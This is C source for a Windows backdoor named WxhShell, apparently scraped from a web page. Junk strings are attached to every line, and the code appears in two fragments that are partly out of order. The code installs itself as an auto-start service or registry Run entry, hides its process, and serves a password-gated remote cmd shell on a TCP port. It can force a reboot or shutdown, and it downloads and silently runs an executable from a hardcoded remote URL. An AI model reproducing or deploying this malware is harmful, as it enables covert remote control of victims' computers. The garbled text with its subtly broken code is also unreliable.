    if(Boot(SHUTDOWN)) 175e:\Tw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4,?YcZ?S  
    else { `zoHgn7B9q  
    closesocket(wsh); c |0p'EQ  
    ExitThread(0); fh#:j[R4e  
    } yQJ0",w3o.  
    break; V_i&@<J  
    } 8)>>EN8 R  
  // 获取shell GcM1*)$ 4  
  case 's': { yY]x' 'K  
    CmdShell(wsh); &dB@n15'A  
    closesocket(wsh); \Z.r Pq  
    ExitThread(0); CvIuH=,  
    break; PqspoH 0OI  
  } rtPo)#t  
  // 退出 %_ew{ff|  
  case 'x': { W @"Rdc-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y[*.^l._  
    CloseIt(wsh); 'a(y]QG  
    break; ximVh}'a  
    } 4s{=/,f  
  // 离开 {OG1' m6=/  
  case 'q': { r1~W(r.x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `.@udfog^0  
    closesocket(wsh); G}U <^]c  
    WSACleanup(); uQG|r)  
    exit(1); EH".ki=e  
    break; S @[]znH  
        } % J\G[dl  
  } S{llpp{E  
  } 1 -Z&/3T]  
?0)K[Kd'Y  
  // 提示信息 4(8c L?J`0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bI.hG32  
} nw+t!C  
  } Sr+hB>{  
'c~SE>  
  return; vhMoCLb  
} taDe^Ist j  
kB+$Kt<]L  
// shell模块句柄 o0WwlmB5  
int CmdShell(SOCKET sock) ybpOk  
{ 6TRLHL~B  
STARTUPINFO si; olv&K(-ccI  
ZeroMemory(&si,sizeof(si)); !S~)U{SSK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q 1i5"'][  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?C CQm  
PROCESS_INFORMATION ProcessInfo; 8B ,S_0!  
char cmdline[]="cmd"; N_G&nw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =LGM[Z3$s  
  return 0; "9s}1C;Me  
} #ChTel  
2fdN@iruB  
// 自身启动模式 M._h=wX{}  
int StartFromService(void) &q&z$Gc;m  
{ f (C:J[;Z  
typedef struct @l3&vt2=J  
{ } ew{WD  
  DWORD ExitStatus; ,`U>BBBLv  
  DWORD PebBaseAddress; RZEq@q  
  DWORD AffinityMask; zMepF]V  
  DWORD BasePriority; a|TUH+|  
  ULONG UniqueProcessId; |keU+De  
  ULONG InheritedFromUniqueProcessId; ?121 as}z  
}   PROCESS_BASIC_INFORMATION; ,7$&gx>2&  
}S"gZ6   
PROCNTQSIP NtQueryInformationProcess; w#2apaz  
>'n[B    
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sct 3|H#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Tvnd,  
46M=R-7=  
  HANDLE             hProcess; em7L `,  
  PROCESS_BASIC_INFORMATION pbi; <e&v[  
M19O^P>[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 85qQppz  
  if(NULL == hInst ) return 0; Cw^iA U  
/.s L[X-G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UV|{za$&/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W +Piqf*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $[_5:@T%N  
<IU   
  if (!NtQueryInformationProcess) return 0; ,or;8aYc#  
#Br`;hL<T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZYB5s~;eB"  
  if(!hProcess) return 0; [cFD\"gJAr  
f2tCB1[D+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9~^k3!>0  
_R0O9sPTO  
  CloseHandle(hProcess); nls$ wE  
;7[DFlS\P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .`*;AT  
if(hProcess==NULL) return 0; `C7pM  
H.hKh  
HMODULE hMod; "#36-  
char procName[255]; ` *hTx|!'  
unsigned long cbNeeded; l_((3e[)  
n[BYBg1yG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lB_4jc  
nzO -\`40  
  CloseHandle(hProcess); QP"5A7=m  
-^np"Jk  
if(strstr(procName,"services")) return 1; // 以服务启动 )a!f")@uz  
)EYs+7/t  
  return 0; // 注册表启动 Yq/vym-O5  
} Gqq< -drR  
%/)z!}{  
// 主模块 N) jNvzm  
int StartWxhshell(LPSTR lpCmdLine) 'xEomo#  
{ 8bw, dBN  
  SOCKET wsl; zn'Mi:O'p  
BOOL val=TRUE; ZCK#=:ln  
  int port=0; /:-ig .YY  
  struct sockaddr_in door; ; p+C0!B2  
\k$cg~  
  if(wscfg.ws_autoins) Install(); )4o k@^.  
{ zL4dJw  
port=atoi(lpCmdLine); F:Vl\YZ  
I(>_as\1  
if(port<=0) port=wscfg.ws_port; ]c\`EHN  
Hl}m*9<9us  
  WSADATA data; g \+!+!"~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :\mdVS!o  
<}mA>c'k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U_9|ED:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W`[7|8(6!  
  door.sin_family = AF_INET; $Q|6W &?[;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TJcHqzcUc  
  door.sin_port = htons(port); F)l1%F Cm  
PTpfa*t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <,*w$  
closesocket(wsl); /^i_tLgb  
return 1; Ug[0l)  
} u9 *ic~Nh  
G=Xas"|  
  if(listen(wsl,2) == INVALID_SOCKET) { 5a5JOl$8  
closesocket(wsl); eHHU2^I,  
return 1; <e|B7<.  
} o`~,+6] D  
  Wxhshell(wsl); .^- I<4.  
  WSACleanup(); .lgm"  
*yg`V,C  
return 0; .<K9Zyi  
p:| 7d\r  
} F(U(b_DPM  
gYpFF=7j<@  
// 以NT服务方式启动 [8b{Yba z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 98|1K>C  
{ 80U(q/H%9  
DWORD   status = 0; 3!KyO)8  
  DWORD   specificError = 0xfffffff; !( _qM  
I'J-)D`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UHI<8o9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /Zz [vf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KrTlzbw&p\  
  serviceStatus.dwWin32ExitCode     = 0; .%\R L/  
  serviceStatus.dwServiceSpecificExitCode = 0; e{Mkwi+j  
  serviceStatus.dwCheckPoint       = 0; 5 yL"=3&+  
  serviceStatus.dwWaitHint       = 0; t,5AoK/NL9  
! 4 "$O@U4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); efyGjfoO  
  if (hServiceStatusHandle==0) return; V' sq'XB  
SphP@J<ONW  
status = GetLastError(); w\JTMS$  
  if (status!=NO_ERROR) *Xu?(Jd  
{ =`qEwA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qz-lQ  
    serviceStatus.dwCheckPoint       = 0; pW<l9W  
    serviceStatus.dwWaitHint       = 0; EP{ji"/7[  
    serviceStatus.dwWin32ExitCode     = status; q ) e* eN  
    serviceStatus.dwServiceSpecificExitCode = specificError; ) Cm95,Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BE!WCDg,  
    return; =1VpO{ q  
  } Q-e(>=Gv_  
|pT[ZT|}G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mn*v&O:  
  serviceStatus.dwCheckPoint       = 0; :Q;mgHTNz  
  serviceStatus.dwWaitHint       = 0; cS",Bw\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5n=~l[O  
} aO *][;0  
7$kTeKiP  
// 处理NT服务事件,比如:启动、停止 'V4B{n7 h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qwuA[QkPi  
{ @i>4k  
switch(fdwControl) KpKZiUQm  
{ ZyrVv\'  
case SERVICE_CONTROL_STOP: ]%(X }]}  
  serviceStatus.dwWin32ExitCode = 0; U uSCqI};  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {UuSNZ[^  
  serviceStatus.dwCheckPoint   = 0; g|{Ru  
  serviceStatus.dwWaitHint     = 0; .V{y9e+  
  { NE?tfj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fc^d3wH0L  
  } ,/-DAo~O  
  return; Zu ![v0  
case SERVICE_CONTROL_PAUSE: RPTIDA))  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u0Opn=(_  
  break; ?2S<D5M Sb  
case SERVICE_CONTROL_CONTINUE: Cyp%E5b7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|1_I?_  
  break; nsXyReWka  
case SERVICE_CONTROL_INTERROGATE: wEix8Ow*  
  break; P7 qzZ  
}; k|rbh.Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )tx!BJiZ[  
} LV]F?O[K=  
p=dM2>  
// 标准应用程序主函数 %Xl(wvd   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NHD`c)Q  
{ jGn2Q L  
)Q~K\bJf  
// 获取操作系统版本 }ho6  
OsIsNt=GetOsVer(); ]L!:/k,=S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q!) nSD  
A{wSO./3  
  // 从命令行安装 5eX+9niY  
  if(strpbrk(lpCmdLine,"iI")) Install(); eq4Yc*|9  
M^y5 Dep  
  // 下载执行文件 ugQySg>  
if(wscfg.ws_downexe) { GOY!()F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z#srgyLt  
  WinExec(wscfg.ws_filenam,SW_HIDE); |EP=<-|  
} bSk)GZyH\d  
jY $3   
if(!OsIsNt) { . L]!*  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vdb X4^V  
HideProc();  B"Ttr+  
StartWxhshell(lpCmdLine); m$^v/pLkM  
} ,z|g b]\  
else ,Y27uey{wa  
  if(StartFromService()) joJQ?lG  
  // 以服务方式启动 Ft 2u&Rtx  
  StartServiceCtrlDispatcher(DispatchTable); C <q@C!A  
else (x8D ]a  
  // 普通方式启动 $&FeR*$|g  
  StartWxhshell(lpCmdLine); 0' II6,:  
\r&9PkHWo  
return 0; Ehg(xK  
} fTV3lyk  
T@on ue7  
DZU} p  
@HP7$U"  
=========================================== $McbVn)~f  
@<=<?T> 1  
0`kaT ?>  
K7] +. f  
*l8:%t\  
=U3rOYbP;  
" _iZ9Ch\  
%8! }" Xa  
#include <stdio.h> ~d&W;mef-  
#include <string.h> ]t.6bb4  
#include <windows.h> 8i?:aN[.1b  
#include <winsock2.h> Aw7_diK^  
#include <winsvc.h> u*<knZ~ty  
#include <urlmon.h> J+f*D+x1  
G>j4b}e  
#pragma comment (lib, "Ws2_32.lib") DBZ^n9  
#pragma comment (lib, "urlmon.lib") -i"?2gK  
f _*F&-L  
#define MAX_USER   100 // 最大客户端连接数 kPF qsq  
#define BUF_SOCK   200 // sock buffer ,I8[tiR"b  
#define KEY_BUFF   255 // 输入 buffer 6e :#x:O  
76 RFu@k  
#define REBOOT     0   // 重启 {*t0WE&1t  
#define SHUTDOWN   1   // 关机 Huho|6ohH  
629 #t`W\  
#define DEF_PORT   5000 // 监听端口 7eQc14  
y[I)hSD=  
#define REG_LEN     16   // 注册表键长度 6%fF6  
#define SVC_LEN     80   // NT服务名长度 tF~D!t@  
o_on/{qz  
// 从dll定义API U9:I"f,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } ^n346^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pJ3Yjm[l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9*j$U$:'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [BKX$A:Y  
 j#YPo  
// wxhshell配置信息 (2p<I)t  
struct WSCFG { 3YJa3fflK  
  int ws_port;         // 监听端口 q# t&\M.U  
  char ws_passstr[REG_LEN]; // 口令 S3.76&  
  int ws_autoins;       // 安装标记, 1=yes 0=no xPorlX)zW  
  char ws_regname[REG_LEN]; // 注册表键名 f|'8~C5I@>  
  char ws_svcname[REG_LEN]; // 服务名 @0U={qX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h5VZ-v_j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >):^Zs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^*_|26  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _jD\kg#LY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zp <^|=D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xjg(}w  
"P@oO,.  
}; }\/ 3B_X6N  
KVZ-T1K  
// default Wxhshell configuration ?Y\hC0a60  
struct WSCFG wscfg={DEF_PORT, =p 7eP  
    "xuhuanlingzhe", ,K~r':ht  
    1, S_dM{.!Z(,  
    "Wxhshell", M5T4{^i  
    "Wxhshell", Mib<1ZM  
            "WxhShell Service", {~+o+LV  
    "Wrsky Windows CmdShell Service", OVa38Aucr3  
    "Please Input Your Password: ", ZBl!7_[_  
  1, pkT26)aW  
  "http://www.wrsky.com/wxhshell.exe", \9T /%[r#  
  "Wxhshell.exe" ~Rk ~Zn  
    }; ud:5_*  
VDy\2-b8d  
// 消息定义模块 'fr~1pmx#3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t p<wMrq<  
char *msg_ws_prompt="\n\r? for help\n\r#>";  mPS27z(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YK6zN>M}E  
char *msg_ws_ext="\n\rExit."; s8iB>-dk  
char *msg_ws_end="\n\rQuit."; fH*1.0f]6  
char *msg_ws_boot="\n\rReboot..."; s2t9+ZA+s  
char *msg_ws_poff="\n\rShutdown..."; Uy5G,!  
char *msg_ws_down="\n\rSave to "; #jd&f,Tt  
Y]])Tq;h5  
char *msg_ws_err="\n\rErr!"; ]c~W$h+F  
char *msg_ws_ok="\n\rOK!"; ,AEaW  
k5/W'*P  
char ExeFile[MAX_PATH]; d@e2+3<  
int nUser = 0; 5!*@gn  
HANDLE handles[MAX_USER]; Z[?zaQ$  
int OsIsNt; 1&#qq*{  
$Z[W}7{pt#  
SERVICE_STATUS       serviceStatus; )H| cri~D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c-q=Ct  
FoB^iA6 e  
// 函数声明 g vu1  
int Install(void); l[u=_uaYl  
int Uninstall(void); _fE$KaP  
int DownloadFile(char *sURL, SOCKET wsh); .LA?2N  
int Boot(int flag); zyPc<\HoK  
void HideProc(void); $fFh4O4  
int GetOsVer(void); gjDxgNpa  
int Wxhshell(SOCKET wsl); 9L9qLF5 t  
void TalkWithClient(void *cs); g8L{xwx<  
int CmdShell(SOCKET sock); 1%`Nu ]D  
int StartFromService(void);  G%5ZG$as  
int StartWxhshell(LPSTR lpCmdLine); SKeX~uLz  
w$4*/D}Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o#9 Q   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /;clxtus  
c 4Wl^E 8  
// 数据结构和表定义 ?{rpzrc!*  
SERVICE_TABLE_ENTRY DispatchTable[] = cbaa*qoU  
{ O =0j I  
{wscfg.ws_svcname, NTServiceMain}, ViYfK7Z  
{NULL, NULL} Vh'H =J  
}; dBNx2T}_0  
L5 Q^cY]p  
// 自我安装 jHQnD]Hr  
int Install(void) j`:D BO&)\  
{ DuI>z?bS  
  char svExeFile[MAX_PATH];  /wT<p  
  HKEY key; J1g+H2  
  strcpy(svExeFile,ExeFile); Eu|O<9U\  
S:8 WBY]M  
// 如果是win9x系统,修改注册表设为自启动 H?cJ'Q, 5  
if(!OsIsNt) { br%l>Y\"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x". !&5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !yo@i_1D  
  RegCloseKey(key); .)Zs:5 0l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ci_Qra 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E(g$f.9  
  RegCloseKey(key); FL E3LH  
  return 0; o8h` 9_  
    } $(+#$F<eo+  
  } V[2}  
} 4=qZ Z>[t  
else { 4~ i?xo=;v  
6<mlx'  
// 如果是NT以上系统,安装为系统服务 yZQcxg%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PWk\#dJN&  
if (schSCManager!=0) &M{;[O{  
{ L%;[tu(*  
  SC_HANDLE schService = CreateService ;LqpX!Pi f  
  ( mnL+@mm  
  schSCManager, 3 nnoXc'  
  wscfg.ws_svcname, s`gfz}/  
  wscfg.ws_svcdisp, <rxtdI"3  
  SERVICE_ALL_ACCESS, 2;ju/9 x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "/nbcQ*s*E  
  SERVICE_AUTO_START, %&j \:X~A  
  SERVICE_ERROR_NORMAL, 3@42u G>  
  svExeFile, r1 [c+Hy  
  NULL, [,56oMd~  
  NULL, y;<F|zIm  
  NULL, K$I`&M(  
  NULL, XNJ3.w:R  
  NULL Z ygu/M 6  
  ); 6uIgyO*;k  
  if (schService!=0) +E-CsNAZ*"  
  { $:RR1.Tv  
  CloseServiceHandle(schService); :}z `4S@b  
  CloseServiceHandle(schSCManager); 6/6{69tnr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); otbr8&?-  
  strcat(svExeFile,wscfg.ws_svcname); nzU;Bi^m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xauMF~*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =SD^Jl{H  
  RegCloseKey(key); ;z T3Fv\  
  return 0; H3L uRGe&2  
    } b|e1HCH  
  } Cy dV$!&mP  
  CloseServiceHandle(schSCManager); + w/B3 b  
} b/?)_pg  
} 2N{^V?:  
4W#DLip9  
return 1; ]=ADX}  
} RT|1M"?$  
.$fSWlM;  
// 自我卸载 %,(X R`  
int Uninstall(void) 9oYE  
{ 0D Lw  
  HKEY key; ohjl*dw  
2Z>8ROv^X  
if(!OsIsNt) { Eq|5PE^7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }N&? 8s=  
  RegDeleteValue(key,wscfg.ws_regname); (hEg&@  
  RegCloseKey(key); _y&XFdp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \q\"=  
  RegDeleteValue(key,wscfg.ws_regname); 0S96x}]J B  
  RegCloseKey(key); q%LjOPE V  
  return 0; [* M':  
  } hn~btu 9h  
} N\|BaZ%>|  
} V!l?FOSZ  
else { jZD)c_'U  
/DjsnU~3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  aWPf3Q  
if (schSCManager!=0) b gxk:$E  
{ `<{LW>Lb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "  sC]z}  
  if (schService!=0) D?=4'"@v  
  { \SoT^PW  
  if(DeleteService(schService)!=0) { e+V8I&%  
  CloseServiceHandle(schService); J/IRCjQ}  
  CloseServiceHandle(schSCManager); 5'(T*"  
  return 0; 33 ; '6/  
  } QQHQ3 \  
  CloseServiceHandle(schService); N0%q 66]1  
  } ZZL@UO>:  
  CloseServiceHandle(schSCManager); zf&:@P{  
} $6(a6!  
} CF 3V)3}  
zU0SlRFu  
return 1; H32o7]lT  
} 9c%CCZ  
\t 5_V)P  
// 从指定url下载文件 !9.FI{W  
int DownloadFile(char *sURL, SOCKET wsh) e{9~m  
{ \B^NdG5Y  
  HRESULT hr; M4D @G  
char seps[]= "/"; OE}FZCX F  
char *token; cUr!U\X[  
char *file; na|sKE;{  
char myURL[MAX_PATH]; \KzH5?  
char myFILE[MAX_PATH]; @v#,SF{  
7377g'jL  
strcpy(myURL,sURL); BeN]D  
  token=strtok(myURL,seps); I\x9xJ4x  
  while(token!=NULL) 684d&\(s  
  { >JAWcT)d  
    file=token; [:(/cKo  
  token=strtok(NULL,seps); ALV(fv$cD  
  } ,i1BoG  
&=MVX>[  
GetCurrentDirectory(MAX_PATH,myFILE); ^/6P~iK'  
strcat(myFILE, "\\"); I)yF!E &  
strcat(myFILE, file); @%G?Nht]o  
  send(wsh,myFILE,strlen(myFILE),0); w $Fg 0JS  
send(wsh,"...",3,0); X&kp1Ih<^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K7([Gc9  
  if(hr==S_OK) jFJ}sX9]  
return 0; <_ENC>NP  
else shw"TF>?zG  
return 1; H\qZu%F'  
:w!hkUx#  
} 9K#3JyW*  
oR,6esA+6n  
// 系统电源模块 ' ,S}X\  
int Boot(int flag) SZyORN  
{ DIw_"$'At  
  HANDLE hToken; -U\'Emu4  
  TOKEN_PRIVILEGES tkp; r @m]#4  
%B( rW?p&  
  if(OsIsNt) { Uqb]&2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fe4>G8uuwn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ca,W:9#.xn  
    tkp.PrivilegeCount = 1; IRwtM'%0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .izq}q*P   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #\ `kg#&  
if(flag==REBOOT) { ZX64kk+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fIl!{pv[  
  return 0; jw9v&/-  
} ;kY~-Om  
else { 3 z(4axH'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "TJ*mN.i{}  
  return 0; mLpM8~L  
} m./PRV1$x  
  } amdgb,vh  
  else { ,oh;(|=  
if(flag==REBOOT) { {?5iK1|}K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,`k&9o7  
  return 0; Dsp$Nr%*  
} Z.u 1Dz  
else { jS~Pdz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jeJgDAUv  
  return 0; `d$@1  
} -YAtM-VL  
} FOk;=+  
@aZTx/  
return 1; P!E2.K,  
} 5K2K'ZkI  
KMz!4N  
// win9x进程隐藏模块 )S(Ly.  
void HideProc(void) XC)9aC@s  
{ *; ]}`r  
}ePl&-9T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *=2W:,$  
  if ( hKernel != NULL ) ~bx ev/$d  
  { 4|E^ #C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j7gw?,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xsn=Ji2 F  
    FreeLibrary(hKernel); )?UoF&c/  
  } Jp_#pV*}:  
r+8D|stS  
return; @$T$hMl  
} `vgaX,F*  
[GI~ &  
// 获取操作系统版本 sqtz^K ROM  
int GetOsVer(void) D,ZLo~  
{ M|K^u.4  
  OSVERSIONINFO winfo; h7!O K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %z-*C'j5H  
  GetVersionEx(&winfo); HyU:BW;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r O$pj~!|Q  
  return 1; ?nGiif  
  else ;6Yg}L  
  return 0; 7!pKlmQ  
} ZQ_6I}i")  
$VvgzjrH  
// 客户端句柄模块 &]#L'D!"  
int Wxhshell(SOCKET wsl) PnA{@n\  
{ JRo/ HY+  
  SOCKET wsh; `.@sux!lu  
  struct sockaddr_in client; 0DmA3  
  DWORD myID; .{h"0<x  
BZ?Ck[E]Z  
  while(nUser<MAX_USER) 5M~{MdF|.  
{ `a4&_`E,p  
  int nSize=sizeof(client); PY.K_(D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hOU H1m.  
  if(wsh==INVALID_SOCKET) return 1; KU/r"lMNlU  
:xPo*#[Z(A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d"9tP& Q  
if(handles[nUser]==0) >8"Svt$  
  closesocket(wsh); hr fF1 >A  
else G XVx/) H  
  nUser++; bGH#s {'5  
  } gmRc4o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }q.D)'g_  
*x|%Nua"  
  return 0; 7@fS2mu  
} 6M*z`B{hV  
q>.7VN[ vE  
// 关闭 socket C~qZ&  
void CloseIt(SOCKET wsh) nc k/Dw  
{ 1@}F8&EZ  
closesocket(wsh); \Y)HSJR;e  
nUser--; Z^&G9I#  
ExitThread(0); |l; Ot=C=  
} WzN c=@[W  
W^tD6H;  
// 客户端请求句柄 '" "v7  
void TalkWithClient(void *cs) Swhz\/u9  
{ 9j>2C  
9:USxFM  
  SOCKET wsh=(SOCKET)cs; 't5ufAT  
  char pwd[SVC_LEN]; 6(bN*.  
  char cmd[KEY_BUFF]; Fvl\.  
char chr[1]; K6IT$$g  
int i,j; lPR=C0h}@  
szsVk#p  
  while (nUser < MAX_USER) { 2d[q5p  
L/tpT?$fi  
if(wscfg.ws_passstr) { ?$f.[;mh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4H-eFs%5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yxt"vm;  
  //ZeroMemory(pwd,KEY_BUFF); L@S\ rImw  
      i=0; <T}U 3lL^  
  while(i<SVC_LEN) { O2{["c e  
s|Mo3_>  
  // 设置超时 |u>(~6  
  fd_set FdRead; x.+T65X~4  
  struct timeval TimeOut; %Rc#/y  
  FD_ZERO(&FdRead); JY,$B-l  
  FD_SET(wsh,&FdRead); Zd[rn:9\  
  TimeOut.tv_sec=8; _`udd)Y2  
  TimeOut.tv_usec=0; Z!"-LQJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k<<x}=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VhUWws3E  
f8:nKb>nq$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hJEd7{n  
  pwd=chr[0]; ka9@7IFM  
  if(chr[0]==0xd || chr[0]==0xa) { @Lnv  
  pwd=0; HoGYgye=  
  break; MYS`@%ZV#k  
  } X9m^i2tk  
  i++; og}Ri!^  
    } 'Cc~|gOgD  
>3uNh:|>/  
  // 如果是非法用户,关闭 socket Z=a%)Ki?Ag  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " ]S  
} O k`}\NZL  
yJ $6vmQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _re# b?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Hj)Av <O(  
c;VqEpsbl  
while(1) { 'Lrn<  
BPO5=]W 7  
  ZeroMemory(cmd,KEY_BUFF); X0;u7g2Yz  
=0ZRG p  
      // 自动支持客户端 telnet标准   !?P8[K  
  j=0; xuK"pS  
  while(j<KEY_BUFF) { dR S:S_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |4df)  
  cmd[j]=chr[0]; xb,d,(^]R  
  if(chr[0]==0xa || chr[0]==0xd) { )^ah, ;(  
  cmd[j]=0; [CJ<$R !  
  break; ^K?-+  
  } d?fS#Ryb  
  j++; iW` tr  
    } Ln h =y2  
>C|pY6  
  // 下载文件 ojd0um6I{  
  if(strstr(cmd,"http://")) { ~1uQyt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >yC=@Uq+  
  if(DownloadFile(cmd,wsh)) U,=f};  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4V>qHV72  
  else ;4rhh h&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @_+aX.,  
  } !D??Y^6bI  
